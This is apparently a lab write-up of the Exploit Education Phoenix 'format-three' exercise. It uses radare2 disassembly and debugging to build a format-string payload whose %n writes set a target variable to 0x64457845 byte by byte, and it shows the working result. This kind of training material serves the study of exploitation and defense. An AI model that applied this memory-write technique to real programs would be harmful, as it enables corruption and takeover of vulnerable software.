$ r2 /opt/phoenix/i486/format-three 
[0x08048350]> aas
Cannot analyze at 0x080485e0
[0x08048350]> afl
0x080482d8    1 17           sym._init
0x080484a0    7 277  -> 112  sym.frame_dummy
0x080485a0    5 49           sym.__do_global_ctors_aux
0x080485d1    1 12           sym._fini
0x08048420    8 113  -> 111  sym.__do_global_dtors_aux
0x08048114   40 492  -> 577  sym..interp
0x08048350    1 62           entry0
0x08048340    1 6            sym.imp.__libc_start_main
0x080486a8    1 14           loc.__GNU_EH_FRAME_HDR
0x080486cc    3 34           sym..eh_frame
0x08048708    1 10           obj.__EH_FRAME_BEGIN
0x08048390    4 49   -> 40   sym.deregister_tm_clones
0x0804874c    1 4            obj.__FRAME_END
0x080484fc    6 155          main
0x08048310    1 6            sym.imp.puts
0x08048320    1 6            sym.imp.read
0x08048330    1 6            sym.imp.exit
0x080484e5    1 23           sym.bounce
0x08048300    1 6            sym.imp.printf
[0x08048350]> s main
[0x080484fc]> pdf
/ (fcn) main 155
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_1008h @ ebp-0x1008
|           ; arg int32_t arg_4h @ esp+0x4
|           ; DATA XREF from entry0 @ 0x8048384
|           0x080484fc      8d4c2404       lea ecx, [arg_4h]
|           0x08048500      83e4f0         and esp, 0xfffffff0
|           0x08048503      ff71fc         push dword [ecx - 4]
|           0x08048506      55             push ebp
|           0x08048507      89e5           mov ebp, esp
|           0x08048509      51             push ecx
|           0x0804850a      81ec04100000   sub esp, 0x1004
|           0x08048510      83ec0c         sub esp, 0xc
|           0x08048513      68e0850408     push str.Welcome_to_phoenix_format_three__brought_to_you_by_https:__exploit.education ; sym..rodata
|                                                                      ; 0x80485e0 ; "Welcome to phoenix/format-three, brought to you by https://exploit.education"
|           0x08048518      e8f3fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x0804851d      83c410         add esp, 0x10
|           0x08048520      83ec04         sub esp, 4
|           0x08048523      68ff0f0000     push 0xfff
|           0x08048528      8d85f8efffff   lea eax, [var_1008h]
|           0x0804852e      50             push eax
|           0x0804852f      6a00           push 0
|           0x08048531      e8eafdffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x08048536      83c410         add esp, 0x10
|           0x08048539      85c0           test eax, eax
|       ,=< 0x0804853b      7f0a           jg 0x8048547
|       |   0x0804853d      83ec0c         sub esp, 0xc
|       |   0x08048540      6a01           push 1                      ; 1
|       |   0x08048542      e8e9fdffff     call sym.imp.exit           ; void exit(int status)
|       `-> 0x08048547      83ec0c         sub esp, 0xc
|           0x0804854a      8d85f8efffff   lea eax, [var_1008h]
|           0x08048550      50             push eax
|           0x08048551      e88fffffff     call sym.bounce
|           0x08048556      83c410         add esp, 0x10
|           0x08048559      a144980408     mov eax, dword [obj.changeme] ; [0x8049844:4]=0
|           0x0804855e      3d45784564     cmp eax, 0x64457845
|       ,=< 0x08048563      7512           jne 0x8048577
|       |   0x08048565      83ec0c         sub esp, 0xc
|       |   0x08048568      6830860408     push str.Well_done__the__changeme__variable_has_been_changed_correctly ; 0x8048630 ; "Well done, the 'changeme' variable has been changed correctly!"
|       |   0x0804856d      e89efdffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x08048572      83c410         add esp, 0x10
|      ,==< 0x08048575      eb16           jmp 0x804858d
|      |`-> 0x08048577      a144980408     mov eax, dword [obj.changeme] ; [0x8049844:4]=0
|      |    0x0804857c      83ec08         sub esp, 8
|      |    0x0804857f      50             push eax
|      |    0x08048580      6870860408     push str.Better_luck_next_time___got_0x_08x__wanted_0x64457845 ; 0x8048670 ; "Better luck next time - got 0x%08x, wanted 0x64457845!\n"
|      |    0x08048585      e876fdffff     call sym.imp.printf         ; int printf(const char *format)
|      |    0x0804858a      83c410         add esp, 0x10
|      |    ; CODE XREF from main @ 0x8048575
|      `--> 0x0804858d      83ec0c         sub esp, 0xc
|           0x08048590      6a00           push 0
\           0x08048592      e899fdffff     call sym.imp.exit           ; void exit(int status)
[0x080484fc]> agf
[0x080484fc]>  # int main (int argc, char **argv, char **envp);
            .------------------------------------------------------------------------------------------.
            |  0x80484fc                                                                               |
            | (fcn) main 155                                                                           |
            |   int main (int argc, char **argv, char **envp);                                         |
            | ; var int32_t var_1008h @ ebp-0x1008                                                     |
            | ; arg int32_t arg_4h @ esp+0x4                                                           |
            | ; DATA XREF from entry0 @ 0x8048384                                                      |
            | lea ecx, [arg_4h]                                                                        |
            | and esp, 0xfffffff0                                                                      |
            | push dword [ecx - 4]                                                                     |
            | push ebp                                                                                 |
            | mov ebp, esp                                                                             |
            | push ecx                                                                                 |
            | sub esp, 0x1004                                                                          |
            | sub esp, 0xc                                                                             |
            | ; sym..rodata                                                                            |
            | ; 0x80485e0                                                                              |
            | ; "Welcome to phoenix/format-three, brought to you by https://exploit.education"         |
            | push str.Welcome_to_phoenix_format_three__brought_to_you_by_https:__exploit.education    |
            | ; int puts(const char *s)                                                                |
            | call sym.imp.puts;[oa]                                                                   |
            | add esp, 0x10                                                                            |
            | sub esp, 4                                                                               |
            | push 0xfff                                                                               |
            | lea eax, [var_1008h]                                                                     |
            | push eax                                                                                 |
            | push 0                                                                                   |
            | ; ssize_t read(int fildes, void *buf, size_t nbyte)                                      |
            | call sym.imp.read;[ob]                                                                   |
            | add esp, 0x10                                                                            |
            | test eax, eax                                                                            |
            | jg 0x8048547                                                                             |
            `------------------------------------------------------------------------------------------'
                    f t
                    | |
                    | '---------------------------------------.
                    '-----------.                             |
                                |                             |
                            .-------------------------.   .----------------------------------.
                            |  0x804853d              |   |  0x8048547                       |
                            | sub esp, 0xc            |   | sub esp, 0xc                     |
                            | ; 1                     |   | lea eax, [var_1008h]             |
                            | push 1                  |   | push eax                         |
                            | ; void exit(int status) |   | call sym.bounce;[od]             |
                            | call sym.imp.exit;[oc]  |   | add esp, 0x10                    |
                            `-------------------------'   | ; [0x8049844:4]=0                |
                                                          | mov eax, dword [obj.changeme]    |
                                                          | cmp eax, 0x64457845              |
                                                          | jne 0x8048577                    |
                                                          `----------------------------------'
                                                                  f t
                                                                  | |
                                                                  | '---------------.
    .-------------------------------------------------------------'                 |
    |                                                                               |
.---------------------------------------------------------------------------.   .-------------------------------------------------------------------.
|  0x8048565                                                                |   |  0x8048577                                                        |
| sub esp, 0xc                                                              |   | ; [0x8049844:4]=0                                                 |
| ; 0x8048630                                                               |   | mov eax, dword [obj.changeme]                                     |
| ; "Well done, the 'changeme' variable has been changed correctly!"        |   | sub esp, 8                                                        |
| push str.Well_done__the__changeme__variable_has_been_changed_correctly    |   | push eax                                                          |
| ; int puts(const char *s)                                                 |   | ; 0x8048670                                                       |
| call sym.imp.puts;[oa]                                                    |   | ; "Better luck next time - got 0x%08x, wanted 0x64457845!\n"      |
| add esp, 0x10                                                             |   | push str.Better_luck_next_time___got_0x_08x__wanted_0x64457845    |
| jmp 0x804858d                                                             |   | ; int printf(const char *format)                                  |
`---------------------------------------------------------------------------'   | call sym.imp.printf;[oe]                                          |
    v                                                                           | add esp, 0x10                                                     |
    |                                                                           `-------------------------------------------------------------------'
    |                                                                               v
    |                                                                               |
    '-----------------------------------------------------------.                   |
                                                                | .-----------------'
                                                                | |
                                                          .-----------------------------------.
                                                          |  0x804858d                        |
                                                          | ; CODE XREF from main @ 0x8048575 |
                                                          | sub esp, 0xc                      |
                                                          | push 0                            |
                                                          | ; void exit(int status)           |
                                                          | call sym.imp.exit;[oc]            |
                                                          `-----------------------------------'
[0x080484fc]> pdf @ sym.bounce
/ (fcn) sym.bounce 23
|   sym.bounce (int32_t arg_8h);
|           ; arg int32_t arg_8h @ ebp+0x8
|           ; CALL XREF from main @ 0x8048551
|           0x080484e5      55             push ebp
|           0x080484e6      89e5           mov ebp, esp
|           0x080484e8      83ec08         sub esp, 8
|           0x080484eb      83ec0c         sub esp, 0xc
|           0x080484ee      ff7508         push dword [arg_8h]
|           0x080484f1      e80afeffff     call sym.imp.printf         ; int printf(const char *format)
|           0x080484f6      83c410         add esp, 0x10
|           0x080484f9      90             nop
|           0x080484fa      c9             leave
\           0x080484fb      c3             ret

The binary is almost identical with the one from the previous level. The only difference is that the value to be written to the address of the flag obj.changeme is 0x64457845.

With that in mind, the methodology to be followed takes into account the exploit from the previous level. In order to write 4 bytes, one at a time, the exploit needs to be modified a little bit.

$ echo $(printf "\x44\x98\x04\x08AAAA\x45\x98\x04\x08AAAA\x46\x98\x04\x08AAAA\x47\x98\x04\x08")%x%x%x%x%x%x%x%x%x%x%8x%n > pattern
#!/usr/bin/env rarun2
stdio=/dev/pts/0
stdin=./pattern

Replace /dev/pts/0 with the output of the command tty and ./pattern with the full path to the file that contains the input to be read from the binary.

$ r2 -d /opt/phoenix/i486/format-three -r theProfile.rr2
[0xf7eccd4b]> aas
Cannot analyze at 0x080485e0
[0xf7eccd4b]> db 0x0804855e
[0xf7eccd4b]> px/xw @ obj.changeme
0x08049844  0x00000000                                   ....
[0xf7eccd4b]> dc
Welcome to phoenix/format-three, brought to you by https://exploit.education
hit breakpoint at: 804855e
[0x0804855e]> px/xw @ obj.changeme
0x08049844  0x00000059                                   Y...

The first time, the calculation for the byte to be written is as follows: "the byte we want to write" - "the outputted byte" + "the width that was specified to the %x specifier before the %n specifier".

[0x0804855e]> ? 0x45 - 0x59 + 8
int64   -12
uint64  18446744073709551604
hex     0xfffffffffffffff4
octal   01777777777777777777764
unit    16E
segment fffff000:0ff4
string  "\xf4\xff\xff\xff\xff\xff\xff\xff"
fvalue: -12.0
float:  nanf
double: nan
binary  0b1111111111111111111111111111111111111111111111111111111111110100
trits   0t11112220022122120101211020120210210211111

The result is a negative integer, which is not appropriate. To circumvent that, increase the value of the byte to be written by adding an ace so that the result is a positive integer.

Note that there are probably better methods that i am not aware of.

[0x0804855e]> ? 0x145 - 0x59 + 8
int32   244
uint32  244
hex     0xf4
octal   0364
unit    244
segment 0000:00f4
string  "\xf4"
fvalue: 244.0
float:  0.000000f
double: 0.000000
binary  0b11110100
trits   0t100001

Now, the exploit needs to be updated.

$ echo $(printf "\x44\x98\x04\x08AAAA\x45\x98\x04\x08AAAA\x46\x98\x04\x08AAAA\x47\x98\x04\x08")%x%x%x%x%x%x%x%x%x%x%244x%n > pattern
$ r2 -d /opt/phoenix/i486/format-three -r theProfile.rr2
[0xf7f66d4b]> aas
Cannot analyze at 0x080485e0
[0xf7f66d4b]> db 0x0804855e
[0xf7f66d4b]> px/xw @ obj.changeme
0x08049844  0x00000000                                   ....
[0xf7f66d4b]> dc
Welcome to phoenix/format-three, brought to you by https://exploit.education
hit breakpoint at: 804855e
[0x0804855e]> px/xw @ obj.changeme
0x08049844  0x00000145                                   E...

From here on, the byte to be written is calculated as follows: "the byte we want to write" - "the previous byte that was written".

$ r2 -d /opt/phoenix/i486/format-three -r theProfile.rr2
[0x0804855e]> ? 0x78 - 0x145
int64   -205
uint64  18446744073709551411
hex     0xffffffffffffff33
octal   01777777777777777777463
unit    16E
segment fffff000:0f33
string  "3\xff\xff\xff\xff\xff\xff\xff"
fvalue: -205.0
float:  nanf
double: nan
binary  0b1111111111111111111111111111111111111111111111111111111100110011
trits   0t11112220022122120101211020120210210120100
[0x0804855e]> ? 0x178 - 0x145
int32   51
uint32  51
hex     0x33
octal   063
unit    51
segment 0000:0033
string  "3"
fvalue: 51.0
float:  0.000000f
double: 0.000000
binary  0b00110011
trits   0t1220

Updating the exploit..

$ echo $(printf "\x44\x98\x04\x08AAAA\x45\x98\x04\x08AAAA\x46\x98\x04\x08AAAA\x47\x98\x04\x08")%x%x%x%x%x%x%x%x%x%x%244x%n%51x%n > pattern
$ r2 -d /opt/phoenix/i486/format-three -r theProfile.rr2
[0xf7eecd4b]> aas
Cannot analyze at 0x080485e0
[0xf7eecd4b]> db 0x0804855e
[0xf7eecd4b]> px/xw @ obj.changeme
0x08049844  0x00000000                                   ....
[0xf7eecd4b]> dc
Welcome to phoenix/format-three, brought to you by https://exploit.education
hit breakpoint at: 804855e
[0x0804855e]> px/xw @ obj.changeme
0x08049844  0x00017845                                   Ex..
[0x0804855e]> ? 0x45 - 0x178
int64   -307
uint64  18446744073709551309
hex     0xfffffffffffffecd
octal   01777777777777777777315
unit    16E
segment fffff000:0ecd
string  "\xcd\xfe\xff\xff\xff\xff\xff\xff"
fvalue: -307.0
float:  nanf
double: nan
binary  0b1111111111111111111111111111111111111111111111111111111011001101
trits   0t11112220022122120101211020120210210102120
[0x0804855e]> ? 0x1145 - 0x178
int32   4045
uint32  4045
hex     0xfcd
octal   07715
unit    4.0K
segment 0000:0fcd
string  "\xcd\x0f"
fvalue: 4045.0
float:  0.000000f
double: 0.000000
binary  0b0000111111001101
trits   0t12112211
$ echo $(printf "\x44\x98\x04\x08AAAA\x45\x98\x04\x08AAAA\x46\x98\x04\x08AAAA\x47\x98\x04\x08")%x%x%x%x%x%x%x%x%x%x%244x%n%51x%n%4045x%n > pattern
$ r2 -d /opt/phoenix/i486/format-three -r theProfile.rr2
[0xf7eded4b]> aas
Cannot analyze at 0x080485e0
[0xf7eded4b]> db 0x0804855e
[0xf7eded4b]> px/xw @ obj.changeme
0x08049844  0x00000000                                   ....
[0xf7eded4b]> dc
Welcome to phoenix/format-three, brought to you by https://exploit.education
hit breakpoint at: 804855e
[0x0804855e]> px/xw @ obj.changeme
0x08049844  0x11457845                                   ExE.
[0x0804855e]> ? 0x64 - 0x1145
int64   -4321
uint64  18446744073709547295
hex     0xffffffffffffef1f
octal   01777777777777777767437
unit    16.0E
segment fffff000:0f1f
string  "\x1f\xef\xff\xff\xff\xff\xff\xff"
fvalue: -4321.0
float:  nanf
double: nan
binary  0b1111111111111111111111111111111111111111111111111110111100011111
trits   0t11112220022122120101211020120210120220220
[0x0804855e]> ? 0x1164 - 0x1145
int32   31
uint32  31
hex     0x1f
octal   037
unit    31
segment 0000:001f
string  "\x1f"
fvalue: 31.0
float:  0.000000f
double: 0.000000
binary  0b00011111
trits   0t1011
$ echo $(printf "\x44\x98\x04\x08AAAA\x45\x98\x04\x08AAAA\x46\x98\x04\x08AAAA\x47\x98\x04\x08")%x%x%x%x%x%x%x%x%x%x%244x%n%51x%n%4045x%n%31x%n > pattern
$ /opt/phoenix/i486/format-three < pattern 
Welcome to phoenix/format-three, brought to you by https://exploit.education
DAAAAEAAAAFAAAAG000f7f72cf7f7fec000ffcbc5688048556ffcbb560ffcbb560fff
Well done, the 'changeme' variable has been changed correctly!